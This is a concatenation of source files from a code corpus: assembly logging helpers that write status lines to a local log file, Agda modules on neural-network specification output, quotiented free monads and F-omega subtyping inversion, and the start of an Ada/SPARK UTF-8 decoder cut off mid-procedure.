wl_closemaphandle: mov edx,[APITable] stdcall dword [edx+CloseHandle], dword [filemappingobject] wl_closelogfile: mov eax,[APITable] stdcall dword [eax+CloseHandle], dword [filehandle] wl_logexit: popad mov eax,[retval] ret; endp ;adds a <newline> to the logfile ;returns false if an error occurs proc writeNewLineToLog_ APITable:DWORD local str1[3]:BYTE lea eax,[str1] mov byte [eax+0],13 mov byte [eax+1],10 mov byte [eax+2],0 stdcall writeLog_, [APITable], eax ret endp ;adds "<hexadecimal value>" to the logfile ;returns false if an error occurs proc writeRegisterToLog_ stdcall APITable:DWORD, Value:DWORD local str1[10]:BYTE, retval:DWORD pushad lea eax,[str1] stdcall binToString_, eax, [Value] stdcall writeLog_,[APITable],eax mov [retval],eax test eax,eax jz wrtl_exit stdcall writeNewLineToLog_,[APITable] mov [retval],eax test eax,eax jz wrtl_exit wrtl_exit: popad mov eax,[retval] ret endp ;converts <bin> into an 8 byte string and stores it <buffer> proc binToString_ stdcall buffer:DWORD, bin:DWORD pushad mov ebx,[bin] mov ecx,8 bts_next_byte: mov eax,ebx and eax,0000000fh cmp eax,9 jg bts_add_55 bts_add_48: add eax,48 jmp bts_store_bin bts_add_55: add eax,55 bts_store_bin: dec ecx mov edx,[buffer] mov byte [ecx+edx],al test ecx,ecx jz bts_finished_conversion shr ebx,4 jmp bts_next_byte bts_finished_conversion: mov eax,[buffer] mov byte [eax+8],0 popad ret endp ;get the length of a string proc strlen_ stdcall string_ptr:DWORD push edi push ecx mov edi,[string_ptr] sub ecx, ecx sub al, al not ecx cld repne scasb not ecx dec ecx mov eax,ecx pop ecx pop edi ret endp ;Write initial message into logfile proc initLogFile_ stdcall APITable:DWORD local str1[256]:BYTE pushad createStringLogTxt str1 mov eax,[APITable] lea ebx,[str1] stdcall dword [eax+DeleteFile],ebx createStringStartingHyperionLines str1 lea eax,[str1] stdcall writeLog_,[APITable],eax test eax,eax jz ilf_exit_error createStringStartingHyperion str1 lea eax,[str1] stdcall writeLog_,[APITable],eax test eax,eax jz ilf_exit_error createStringStartingHyperionLines str1 lea eax,[str1] stdcall writeLog_,[APITable],eax test eax,eax jz ilf_exit_error stdcall writeNewLineToLog_,[APITable] test eax,eax jz ilf_exit_error ilf_exit_success: popad mov eax,1 ret ilf_exit_error: popad sub eax,eax ret endp
test/Test/Compile/Golden/simple-if/simple-if-output.agda
vehicle-lang/vehicle
9
14454
<reponame>vehicle-lang/vehicle<filename>test/Test/Compile/Golden/simple-if/simple-if-output.agda -- WARNING: This file was generated automatically by Vehicle -- and should not be modified manually! -- Metadata -- - Agda version: 2.6.2 -- - AISEC version: 0.1.0.1 -- - Time generated: ??? {-# OPTIONS --allow-exec #-} open import Vehicle open import Vehicle.Data.Tensor open import Data.Product open import Data.Integer as ℤ using (ℤ) open import Data.Rational as ℚ using (ℚ) open import Data.Bool as 𝔹 using (Bool; true; false; if_then_else_) open import Data.Fin as Fin using (Fin; #_) open import Data.List open import Relation.Nullary open import Relation.Nullary.Decidable module simple-if-temp-output where postulate f : Tensor ℚ (1 ∷ []) → Tensor ℚ (1 ∷ []) abstract prop1 : ∀ (x : ℚ) → if ⌊ x ℚ.>? ℤ.+ 0 ℚ./ 1 ⌋ then f (x ∷ []) (# 0) ℚ.> ℤ.+ 0 ℚ./ 1 else f (x ∷ []) (# 0) ℚ.≤ ℤ.+ 0 ℚ./ 1 prop1 = checkSpecification record { proofCache = "/home/matthew/Code/AISEC/vehicle/proofcache.vclp" } abstract prop3 : ∃ λ (x : ℚ) → if ⌊ f (x ∷ []) (# 0) ℚ.>? ℤ.+ 0 ℚ./ 1 ⌋ then x ℚ.≥ ℤ.+ 0 ℚ./ 1 else x ℚ.< ℤ.+ 0 ℚ./ 1 prop3 = checkSpecification record { proofCache = "/home/matthew/Code/AISEC/vehicle/proofcache.vclp" }
Control/Monad/Free/Quotiented.agda
oisdk/agda-playground
6
9288
module Control.Monad.Free.Quotiented where open import Prelude open import Data.List hiding (map) open import Data.Fin.Sigma open import Algebra postulate uip : isSet A -------------------------------------------------------------------------------- -- Some functors -------------------------------------------------------------------------------- private variable F : Type a → Type a G : Type b → Type b -------------------------------------------------------------------------------- -- A free monad without any quotients: this can be treated as the "syntax tree" -- for the later proper free monad. -------------------------------------------------------------------------------- data Syntax (F : Type a → Type a) (A : Type a) : Type (ℓsuc a) where lift : (Fx : F A) → Syntax F A return : (x : A) → Syntax F A _>>=_ : (xs : Syntax F B) → (k : B → Syntax F A) → Syntax F A -- ^ -- This needs to be a set. So apparently, everything does module RawMonadSyntax where _>>_ : Syntax F A → Syntax F B → Syntax F B xs >> ys = xs >>= const ys -------------------------------------------------------------------------------- -- Quotients for functors -------------------------------------------------------------------------------- -- All of these quotients are defined on syntax trees, since otherwise we get a -- cyclic dependency. record Equation (Σ : Type a → Type a) (ν : Type a) : Type (ℓsuc a) where constructor _⊜_ field lhs rhs : Syntax Σ ν open Equation public record Law (F : Type a → Type a) : Type (ℓsuc a) where constructor _↦_⦂_ field Γ : Type a ν : Type a eqn : Γ → Equation F ν open Law public Theory : (Type a → Type a) → Type (ℓsuc a) Theory Σ = List (Law Σ) private variable 𝒯 : Theory F Quotiented : Theory F → (∀ {ν} → Syntax F ν → Syntax F ν → Type b) → Type _ Quotiented 𝒯 R = (i : Fin (length 𝒯)) → -- An index into the list of equations let Γ ↦ ν ⦂ 𝓉 = 𝒯 !! i in -- one of the equations in the list (γ : Γ) → -- The environment, basically the needed things for the equation R (lhs (𝓉 γ)) (rhs (𝓉 γ)) -------------------------------------------------------------------------------- -- The free monad, quotiented over a theory -------------------------------------------------------------------------------- mutual data Free (F : Type a → Type a) (𝒯 : Theory F) : Type a → Type (ℓsuc a) where -- The first three constructors are the same as the syntax type lift : (Fx : F A) → Free F 𝒯 A return : (x : A) → Free F 𝒯 A _>>=_ : (xs : Free F 𝒯 B) → (k : B → Free F 𝒯 A) → Free F 𝒯 A -- The quotients for the monad laws >>=-idˡ : (f : B → Free F 𝒯 A) (x : B) → (return x >>= f) ≡ f x >>=-idʳ : (x : Free F 𝒯 A) → (x >>= return) ≡ x >>=-assoc : (xs : Free F 𝒯 C) (f : C → Free F 𝒯 B) (g : B → Free F 𝒯 A) → ((xs >>= f) >>= g) ≡ (xs >>= (λ x → f x >>= g)) -- This is the quotient for the theory. quot : Quotiented 𝒯 (λ lhs rhs → ∣ lhs ∣↑ ≡ ∣ rhs ∣↑) -- This converts from the unquotiented syntax to the free type. -- You cannot go the other way! -- The fact that we're doing all this conversion is what makes things trickier -- later (and also that this is interleaved with the data definition). ∣_∣↑ : Syntax F A → Free F 𝒯 A ∣ lift x ∣↑ = lift x ∣ return x ∣↑ = return x ∣ xs >>= k ∣↑ = ∣ xs ∣↑ >>= (∣_∣↑ ∘ k) module FreeMonadSyntax where _>>_ : Free F 𝒯 A → Free F 𝒯 B → Free F 𝒯 B xs >> ys = xs >>= const ys -------------------------------------------------------------------------------- -- Recursion Schemes -------------------------------------------------------------------------------- private variable p : Level P : ∀ T → Free F 𝒯 T → Type p -- The functor for a free monad (not really! This is a "raw" free functor) data FreeF (F : Type a → Type a) (𝒯 : Theory F) (P : ∀ T → Free F 𝒯 T → Type b) (A : Type a) : Type (ℓsuc a ℓ⊔ b) where liftF : (Fx : F A) → FreeF F 𝒯 P A returnF : (x : A) → FreeF F 𝒯 P A bindF : (xs : Free F 𝒯 B) (P⟨xs⟩ : P B xs) (k : B → Free F 𝒯 A) (P⟨∘k⟩ : ∀ x → P A (k x)) → FreeF F 𝒯 P A -- There can also be a quotiented free functor (I think) -- The "in" function ⟪_⟫ : FreeF F 𝒯 P A → Free F 𝒯 A ⟪ liftF x ⟫ = lift x ⟪ returnF x ⟫ = return x ⟪ bindF xs P⟨xs⟩ k P⟨∘k⟩ ⟫ = xs >>= k -- An algebra Alg : (F : Type a → Type a) → (𝒯 : Theory F) → (P : ∀ T → Free F 𝒯 T → Type b) → Type _ Alg F 𝒯 P = ∀ {A} → (xs : FreeF F 𝒯 P A) → P A ⟪ xs ⟫ -- You can run a non-coherent algebra on a syntax tree ⟦_⟧↑ : Alg F 𝒯 P → (xs : Syntax F A) → P A ∣ xs ∣↑ ⟦ alg ⟧↑ (lift x) = alg (liftF x) ⟦ alg ⟧↑ (return x) = alg (returnF x) ⟦ alg ⟧↑ (xs >>= k) = alg (bindF ∣ xs ∣↑ (⟦ alg ⟧↑ xs) (∣_∣↑ ∘ k) (⟦ alg ⟧↑ ∘ k)) -- Coherency for an algebra: an algebra that's coherent can be run on a proper -- Free monad. record Coherent {a p} {F : Type a → Type a} {𝒯 : Theory F} {P : ∀ T → Free F 𝒯 T → Type p} (ψ : Alg F 𝒯 P) : Type (ℓsuc a ℓ⊔ p) where field c->>=idˡ : ∀ (f : A → Free F 𝒯 B) Pf x → ψ (bindF (return x) (ψ (returnF x)) f Pf) ≡[ i ≔ P _ (>>=-idˡ f x i) ]≡ Pf x c->>=idʳ : ∀ (x : Free F 𝒯 A) Px → ψ (bindF x Px return (λ y → ψ (returnF y))) ≡[ i ≔ P A (>>=-idʳ x i) ]≡ Px c->>=assoc : ∀ (xs : Free F 𝒯 C) Pxs (f : C → Free F 𝒯 B) Pf (g : B → Free F 𝒯 A) Pg → ψ (bindF (xs >>= f) (ψ (bindF xs Pxs f Pf)) g Pg) ≡[ i ≔ P A (>>=-assoc xs f g i) ]≡ ψ (bindF xs Pxs (λ x → f x >>= g) λ x → ψ (bindF (f x) (Pf x) g Pg)) c-quot : (i : Fin (length 𝒯)) → let Γ ↦ ν ⦂ 𝓉 = 𝒯 !! i in (γ : Γ) → ⟦ ψ ⟧↑ (lhs (𝓉 γ)) ≡[ j ≔ P ν (quot i γ j) ]≡ ⟦ ψ ⟧↑ (rhs (𝓉 γ)) open Coherent public -- A full dependent algebra Ψ : (F : Type a → Type a) (𝒯 : Theory F) (P : ∀ T → Free F 𝒯 T → Type p) → Type _ Ψ F 𝒯 P = Σ (Alg F 𝒯 P) Coherent Ψ-syntax : (F : Type a → Type a) (𝒯 : Theory F) (P : ∀ {T} → Free F 𝒯 T → Type p) → Type _ Ψ-syntax F 𝒯 P = Ψ F 𝒯 (λ T → P {T}) syntax Ψ-syntax F 𝒯 (λ xs → P) = Ψ[ xs ⦂ F ⋆ * / 𝒯 ] ⇒ P -- Non-dependent algebras Φ : (F : Type a → Type a) → (𝒯 : Theory F) → (Type a → Type b) → Type _ Φ A 𝒯 B = Ψ A 𝒯 (λ T _ → B T) syntax Φ F 𝒯 (λ A → B) = Φ[ F ⋆ A / 𝒯 ] ⇒ B -- Running the algebra module _ (ψ : Ψ F 𝒯 P) where ⟦_⟧ : (xs : Free F 𝒯 A) → P A xs -- We need the terminating pragma here because Agda can't see that ∣_∣↑ makes -- something the same size (I think) {-# TERMINATING #-} undecorate : (xs : Syntax F A) → ⟦ fst ψ ⟧↑ xs ≡ ⟦ ∣ xs ∣↑ ⟧ undecorate (lift x) i = fst ψ (liftF x) undecorate (return x) i = fst ψ (returnF x) undecorate (xs >>= k) i = fst ψ (bindF ∣ xs ∣↑ (undecorate xs i) (λ x → ∣ k x ∣↑) (λ x → undecorate (k x) i)) ⟦ lift x ⟧ = ψ .fst (liftF x) ⟦ return x ⟧ = ψ .fst (returnF x) ⟦ xs >>= k ⟧ = ψ .fst (bindF xs ⟦ xs ⟧ k (⟦_⟧ ∘ k)) ⟦ >>=-idˡ f k i ⟧ = ψ .snd .c->>=idˡ f (⟦_⟧ ∘ f) k i ⟦ >>=-idʳ xs i ⟧ = ψ .snd .c->>=idʳ xs ⟦ xs ⟧ i ⟦ >>=-assoc xs f g i ⟧ = ψ .snd .c->>=assoc xs ⟦ xs ⟧ f (⟦_⟧ ∘ f) g (⟦_⟧ ∘ g) i ⟦ quot p e i ⟧ = subst₂ (PathP (λ j → P _ (quot p e j))) (undecorate _) (undecorate _) (ψ .snd .c-quot p e) i -- For a proposition, use this to prove the algebra is coherent prop-coh : {alg : Alg F 𝒯 P} → (∀ {T} → ∀ xs → isProp (P T xs)) → Coherent alg prop-coh {P = P} P-isProp .c->>=idˡ f Pf x = toPathP (P-isProp (f x) (transp (λ i → P _ (>>=-idˡ f x i)) i0 _) _) prop-coh {P = P} P-isProp .c->>=idʳ x Px = toPathP (P-isProp x (transp (λ i → P _ (>>=-idʳ x i)) i0 _) _) prop-coh {P = P} P-isProp .c->>=assoc xs Pxs f Pf g Pg = toPathP (P-isProp (xs >>= (λ x → f x >>= g)) (transp (λ i → P _ (>>=-assoc xs f g i)) i0 _) _) prop-coh {𝒯 = 𝒯} {P = P} P-isProp .c-quot i e = toPathP (P-isProp (∣ (𝒯 !! i) .eqn e .rhs ∣↑) (transp (λ j → P _ (quot i e j)) i0 _) _) -- A more conventional catamorphism module _ {ℓ} (fun : Functor ℓ ℓ) where open Functor fun using (map; 𝐹) module _ {B : Type ℓ} {𝒯 : Theory 𝐹} where module _ (ϕ : 𝐹 B → B) where ϕ₁ : Alg 𝐹 𝒯 λ T _ → (T → B) → B ϕ₁ (liftF x) h = ϕ (map h x) ϕ₁ (returnF x) h = h x ϕ₁ (bindF _ P⟨xs⟩ _ P⟨∘k⟩) h = P⟨xs⟩ (flip P⟨∘k⟩ h) InTheory : Type _ InTheory = Quotiented 𝒯 λ lhs rhs → ∀ f → ⟦ ϕ₁ ⟧↑ lhs f ≡ ⟦ ϕ₁ ⟧↑ rhs f module _ (ϕ-coh : InTheory) where cata-coh : Coherent ϕ₁ cata-coh .c->>=idˡ f Pf x = refl cata-coh .c->>=idʳ x Px = refl cata-coh .c->>=assoc xs Pxs f Pf g Pg = refl cata-coh .c-quot i e j f = ϕ-coh i e f j cata-alg : Φ[ 𝐹 ⋆ A / 𝒯 ] ⇒ ((A → B) → B) cata-alg = ϕ₁ , cata-coh cata : (A → B) → (ϕ : 𝐹 B → B) → InTheory ϕ → Free 𝐹 𝒯 A → B cata h ϕ coh xs = ⟦ cata-alg ϕ coh ⟧ xs h
src/FOmegaInt/Kinding/Canonical/Inversion.agda
Blaisorblade/f-omega-int-agda
12
207
------------------------------------------------------------------------ -- Inversion of canonical subtyping in Fω with interval kinds ------------------------------------------------------------------------ {-# OPTIONS --safe --without-K #-} module FOmegaInt.Kinding.Canonical.Inversion where open import Data.Product using (_,_; _×_; proj₁; proj₂) open import Data.Vec using ([]; _∷_; foldl) open import Function using (_∘_) open import Relation.Binary.PropositionalEquality using (_≡_; refl; cong₂) open import Relation.Nullary using (¬_) open import FOmegaInt.Syntax open import FOmegaInt.Kinding.Canonical open import FOmegaInt.Kinding.Canonical.Validity open Syntax open ElimCtx open Kinding open ContextNarrowing ------------------------------------------------------------------------ -- Inversion of canonical subtyping (in the empty context). -- NOTE. The lemmas in this module only hold in the empty context -- because we can not invert instances of the interval projection -- rules (<:-⟨| and (<:-|⟩) in arbitrary contexts. This is because -- instances of these rules can reflect arbitrary subtyping -- assumptions into the subtyping relation. Consider, e.g. -- -- Γ, X :: ⊤..⊥ ctx Γ(X) = ⊥..⊤ -- ------------------------------- (∈-var) -- Γ, X :: ⊤..⊥ ⊢ X :: ⊤..⊥ -- -------------------------- (<:-⟨|, <:-|⟩) -- Γ, X :: ⊤..⊥ ⊢ ⊤ <: X <: ⊥ -- -- Which allows us to prove that ⊤ <: ⊥ using (<:-trans) under the -- assumption (X : ⊤..⊥). On the other hand, it is impossible to give -- a transitivity-free proof of ⊤ <: ⊥. In general, it is therefore -- impossible to invert subtyping statements in non-empty contexts, -- i.e. one cannot prove lemmas like (<:-→-inv) or (<:-∀-inv) below -- for arbitrary contexts. infix 4 ⊢_<!_ -- Top-level transitivity-free canonical subtyping in the empty -- context. data ⊢_<!_ : Elim 0 → Elim 0 → Set where <!-⊥ : ∀ {a} → [] ⊢Nf a ⇉ a ⋯ a → ⊢ ⊥∙ <! a <!-⊤ : ∀ {a} → [] ⊢Nf a ⇉ a ⋯ a → ⊢ a <! ⊤∙ <!-∀ : ∀ {k₁ k₂ a₁ a₂} → [] ⊢ k₂ <∷ k₁ → kd k₂ ∷ [] ⊢ a₁ <: a₂ → [] ⊢Nf ∀∙ k₁ a₁ ⇉ ∀∙ k₁ a₁ ⋯ ∀∙ k₁ a₁ → ⊢ ∀∙ k₁ a₁ <! ∀∙ k₂ a₂ <!-→ : ∀ {a₁ a₂ b₁ b₂} → [] ⊢ a₂ <: a₁ → [] ⊢ b₁ <: b₂ → ⊢ a₁ ⇒∙ b₁ <! a₂ ⇒∙ b₂ -- Soundness of <! with respect to <: in the empty context. sound-<! : ∀ {a b : Elim 0} → ⊢ a <! b → [] ⊢ a <: b sound-<! (<!-⊥ a⇉a⋯a) = <:-⊥ a⇉a⋯a sound-<! (<!-⊤ a⇉a⋯a) = <:-⊤ a⇉a⋯a sound-<! (<!-∀ k₂<∷k₁ a₁<:a₂ Πk₁a₁⇉Πk₁a₁⋯Πk₁a₁) = <:-∀ k₂<∷k₁ a₁<:a₂ Πk₁a₁⇉Πk₁a₁⋯Πk₁a₁ sound-<! (<!-→ a₂<:a₁ b₁<:b₂) = <:-→ a₂<:a₁ b₁<:b₂ -- The only proper (top-level) subtype of ⊥ is ⊥ itself. ⊥-<!-min : ∀ {a : Elim 0} → ⊢ a <! ⊥∙ → a ≡ ⊥∙ ⊥-<!-min (<!-⊥ _) = refl -- The only proper (top-level) supertype of ⊤ is ⊤ itself. ⊤-<!-max : ∀ {a : Elim 0} → ⊢ ⊤∙ <! a → a ≡ ⊤∙ ⊤-<!-max (<!-⊤ _) = refl -- Arrows are not (top-level) subtypes of universals and vice-versa. ⇒-≮!-Π : ∀ {a : Elim 0} {k b₁ b₂} → ¬ ⊢ a ⇒∙ b₁ <! ∀∙ k b₂ ⇒-≮!-Π () Π-≮!-⇒ : ∀ {a : Elim 0} {k b₁ b₂} → ¬ ⊢ ∀∙ k b₁ <! a ⇒∙ b₂ Π-≮!-⇒ () -- Validity of <! <!-valid : ∀ {a b} → ⊢ a <! b → [] ⊢Nf a ⇉ a ⋯ a × [] ⊢Nf b ⇉ b ⋯ b <!-valid a<!b = <:-valid (sound-<! a<!b) -- Top-level transitivity of canonical subtyping is admissible. <!-trans : ∀ {a b c} → [] ⊢ a <: b → ⊢ b <! c → ⊢ a <! c <!-trans (<:-trans a<:b b<:c) c<!d = <!-trans a<:b (<!-trans b<:c c<!d) <!-trans (<:-⊥ a⇉a⋯a) a<!d = <!-⊥ (proj₂ (<!-valid a<!d)) <!-trans (<:-⊤ a⇉a⋯a) (<!-⊤ _) = <!-⊤ a⇉a⋯a <!-trans (<:-∀ k₂<∷k₁ a₁<:a₂ Πk₁a₁⇉Πk₁a₁⋯Πk₁a₁) (<!-⊤ _) = <!-⊤ (proj₁ (<:-valid (<:-∀ k₂<∷k₁ a₁<:a₂ Πk₁a₁⇉Πk₁a₁⋯Πk₁a₁))) <!-trans (<:-∀ k₂<∷k₁ a₁<:a₂ Πk₁a₁⇉Πk₁a₁⋯Πk₁a₁) (<!-∀ k₃<∷k₂ a₂<:a₃ _) = <!-∀ (<∷-trans k₃<∷k₂ k₂<∷k₁) (<:-trans (⇓-<: k₃-kd k₃<∷k₂ a₁<:a₂) a₂<:a₃) Πk₁a₁⇉Πk₁a₁⋯Πk₁a₁ where k₃-kd = wf-kd-inv (wf-∷₁ (<:-ctx a₂<:a₃)) <!-trans (<:-→ a₂<:a₁ b₁<:b₂) (<!-⊤ a₂⇒b₂⇉a₂⇒b₂⋯a₂⇒b₂) = <!-⊤ (proj₁ (<:-valid (<:-→ a₂<:a₁ b₁<:b₂))) <!-trans (<:-→ a₂<:a₁ b₁<:b₂) (<!-→ a₃<:a₂ b₂<:b₃) = <!-→ (<:-trans a₃<:a₂ a₂<:a₁) (<:-trans b₁<:b₂ b₂<:b₃) <!-trans (<:-∙ {()} _ _) b<!c <!-trans (<:-⟨| (∈-∙ {()} _ _)) b<!c <!-trans (<:-|⟩ (∈-∙ {()} _ _)) b<!c -- Completeness of <! with respect to <: in the empty context. complete-<! : ∀ {a b : Elim 0} → [] ⊢ a <: b → ⊢ a <! b complete-<! (<:-trans a<:b b<:c) = <!-trans a<:b (complete-<! b<:c) complete-<! (<:-⊥ a⇉a⋯a) = <!-⊥ a⇉a⋯a complete-<! (<:-⊤ a⇉a⋯a) = <!-⊤ a⇉a⋯a complete-<! (<:-∀ k₂<∷k₁ a₁<:a₂ Πk₁a₁⇉Πk₁a₁⋯Πk₁a₁) = <!-∀ k₂<∷k₁ a₁<:a₂ Πk₁a₁⇉Πk₁a₁⋯Πk₁a₁ complete-<! (<:-→ a₂<:a₁ b₁<:b₂) = <!-→ a₂<:a₁ b₁<:b₂ complete-<! (<:-∙ {()} _ _) complete-<! (<:-⟨| (∈-∙ {()} _ _)) complete-<! (<:-|⟩ (∈-∙ {()} _ _)) -- The only proper (top-level) subtype of ⊥ is ⊥ itself. ⊥-<:-min : ∀ {a : Elim 0} → [] ⊢ a <: ⊥∙ → a ≡ ⊥∙ ⊥-<:-min a<:⊥ = ⊥-<!-min (complete-<! a<:⊥) -- The only proper (top-level) supertype of ⊤ is ⊤ itself. ⊤-<:-max : ∀ {a : Elim 0} → [] ⊢ ⊤∙ <: a → a ≡ ⊤∙ ⊤-<:-max ⊤<:a = ⊤-<!-max (complete-<! ⊤<:a) -- Inversion of canonical subtyping for universals and arrow types. <:-∀-inv : ∀ {k₁ k₂ : Kind Elim 0} {a₁ a₂} → [] ⊢ ∀∙ k₁ a₁ <: ∀∙ k₂ a₂ → [] ⊢ k₂ <∷ k₁ × kd k₂ ∷ [] ⊢ a₁ <: a₂ <:-∀-inv Πk₁a₁<:Πk₂a₂ with complete-<! Πk₁a₁<:Πk₂a₂ <:-∀-inv Πk₁a₁<:Πk₂a₂ | <!-∀ k₂<∷k₁ a₁<:a₂ _ = k₂<∷k₁ , a₁<:a₂ <:-→-inv : ∀ {a₁ a₂ : Elim 0} {b₁ b₂} → [] ⊢ a₁ ⇒∙ b₁ <: a₂ ⇒∙ b₂ → [] ⊢ a₂ <: a₁ × [] ⊢ b₁ <: b₂ <:-→-inv a₁⇒b₁<:a₂⇒b₂ with complete-<! a₁⇒b₁<:a₂⇒b₂ <:-→-inv a₁⇒b₁<:a₂⇒b₂ | <!-→ a₂<∷a₁ b₁<:b₂ = a₂<∷a₁ , b₁<:b₂ -- Arrows are not canonical subtypes of universals and vice-versa. ⇒-≮:-Π : ∀ {a : Elim 0} {k b₁ b₂} → ¬ [] ⊢ a ⇒∙ b₁ <: ∀∙ k b₂ ⇒-≮:-Π = ⇒-≮!-Π ∘ complete-<! Π-≮:-⇒ : ∀ {a : Elim 0} {k b₁ b₂} → ¬ [] ⊢ ∀∙ k b₁ <: a ⇒∙ b₂ Π-≮:-⇒ = Π-≮!-⇒ ∘ complete-<!
unicode-utf8_stream_decoder-codec.adb
annexi-strayline/ASAP-Unicode
1
29389
<filename>unicode-utf8_stream_decoder-codec.adb ------------------------------------------------------------------------------ -- -- -- Unicode Utilities -- -- UTF-8 Stream Decoder -- -- -- -- ------------------------------------------------------------------------ -- -- -- -- Copyright (C) 2019, ANNEXI-STRAYLINE Trans-Human Ltd. -- -- All rights reserved. -- -- -- -- Original Contributors: -- -- * <NAME> (ANNEXI-STRAYLINE) -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- -- -- * Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -- -- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ package body Unicode.UTF8_Stream_Decoder.Codec with SPARK_Mode => On is pragma Assertion_Policy (Ignore); pragma Suppress (Index_Check); pragma Suppress (Length_Check); pragma Suppress (Overflow_Check); pragma Suppress (Range_Check); -- -- Supprting functions -- function Validate_First (Octet: Stream_Element) return Boolean is (((Octet and 2#1100_0000#) /= 2#1000_0000#) -- Not a continuation byte and then ( (Octet and 2#1000_0000#) = 0 or else (Octet and 2#1110_0000#) = 2#1100_0000# or else (Octet and 2#1111_0000#) = 2#1110_0000# or else (Octet and 2#1111_1000#) = 2#1111_0000# ) -- The leading bits must be valid Byte 1 permutations -- for 1,2,3, and 4 total bytes, respectively and then (Octet not in 16#C0# .. 16#C1# | 16#F5# .. 16#FF#)) -- Specifically prohibited in any UTF-8 stream -- as per STD63/RFC3629, Section 1 with Inline => True, Global => null; -- Returns True if and only if Octet is a valid firsy byte of a -- continuation. function Indicated_Continuation_Bytes (First_Octet: Stream_Element) return Stream_Element_Offset is (case (First_Octet and 2#1111_0000#) is when 2#0000_0000# .. 2#0111_0000# => 0, when 2#1100_0000# .. 2#1101_0000# => 1, when 2#1110_0000# => 2, when 2#1111_0000# => 3, when others => 4) -- Invalid value with Global => null, Pre => Validate_First (First_Octet), Post => Indicated_Continuation_Bytes'Result in 0 .. 3, Inline => True; -- Given a valid first byte of a UTF-8 sequence, returns the number of -- continuation bytes that are expected to follow function Validate_Continuation (Octet: Stream_Element) return Boolean is ((Octet and 2#11_000000#) = 2#10_000000#) with Global => null, Inline => True; -- Simply validates that Octet is a valid continuation byte. function Validate_Sequence (Sequence: Sequence_Array) return Boolean is (Sequence'Length in 1 .. 4 and then Sequence'First in 1 .. 4 and then Sequence'Last >= Sequence'First and then Validate_First (Sequence(Sequence'First)) and then (Indicated_Continuation_Bytes (Sequence(Sequence'First)) + 1 = Sequence'Length) and then (case Sequence'Length is when 1 => (Sequence'First in 1 .. 4 and then Sequence'Last = Sequence'First), when 2 => (Sequence'First in 1 .. 3 and then Sequence'Last = Sequence'First + 1), when 3 => (Sequence'First in 1 .. 2 and then Sequence'Last = Sequence'First + 2), when 4 => (Sequence'First = 1 and then Sequence'Last = 4), when others => False) -- The SPARK tools needed to be told this.. and then (for all Octet of Sequence(Sequence'First + 1 .. Sequence'Last) => Validate_Continuation (Octet))) with Inline => True, Global => null; -- Validates that a given sequence has a legal formation. Does not check the -- actual encoded value - that should be done with Verified_Combine procedure Verified_Combine (Sequence: in Sequence_Array; Result : out Wide_Wide_Character; Status : out Decode_Status) with Inline => True, Global => null, Pre => Validate_Sequence (Sequence), Post => (if Status = Success then (case Sequence'Length is when 1 => Wide_Wide_Character'Pos (Result) in 16#000000# .. 16#00007F#, when 2 => Wide_Wide_Character'Pos (Result) in 16#000080# .. 16#0007FF#, when 3 => Wide_Wide_Character'Pos (Result) in 16#000800# .. 16#00D7FF# | 16#00E000# .. 16#00FDCF# | 16#00FDF0# .. 16#00FFFD#, -- IETF STD63/RFC3629 Section 3: -- UTF-16 "surrogate pairs" -- (U+D800 .. U+DFFF) are prohibited -- -- Unicode Corrigendum #9 - Noncharacter -- codepoints: -- U+FDD0 .. U+FDEF -- U+nFFFE + U+nFFFF when 4 => Wide_Wide_Character'Pos (Result) in 16#010000# .. 16#01FFFD# | 16#020000# .. 16#02FFFD# | 16#030000# .. 16#03FFFD# | 16#040000# .. 16#04FFFD# | 16#050000# .. 16#05FFFD# | 16#060000# .. 16#06FFFD# | 16#070000# .. 16#07FFFD# | 16#080000# .. 16#08FFFD# | 16#090000# .. 16#09FFFD# | 16#0A0000# .. 16#0AFFFD# | 16#0B0000# .. 16#0BFFFD# | 16#0C0000# .. 16#0CFFFD# | 16#0D0000# .. 16#0DFFFD# | 16#0E0000# .. 16#0EFFFD# | 16#0F0000# .. 16#0FFFFD# | 16#100000# .. 16#10FFFD#, -- U+10000 .. U+10FFFF except for: -- Unicode Corrigendum #9 - Noncharacter -- codepoints: -- U+nFFFE + U+nFFFF when others => False) else ((Status in Overlong | Codepoint_Excursion) and Result = Unicode_Replacement_Character)); -- Combines a validated single UTF-8 sequence encoded character into -- a Wide_Wide_Character. ---------------------- -- Verified_Combine -- ---------------------- procedure Verified_Combine (Sequence: in Sequence_Array; Result : out Wide_Wide_Character; Status : out Decode_Status) is type Encoded_Codepoint is mod 2**32; Codepoint: Encoded_Codepoint; procedure Codepoint_Shift_And_Add (Continuation_Byte: in Stream_Element) with Inline => True, Global => (In_Out => Codepoint), Pre => (Validate_Continuation (Continuation_Byte) and then Codepoint <= 16#FFFF#), -- This basically means that we're not calling it -- more than 4 times. Post => (Codepoint = (Codepoint'Old * 2**6) + Encoded_Codepoint(Continuation_Byte and 2#00_111111#)); procedure Codepoint_Shift_And_Add (Continuation_Byte: in Stream_Element) is begin Codepoint := (Codepoint * 2**6) + Encoded_Codepoint (Continuation_Byte and 2#00_111111#); end 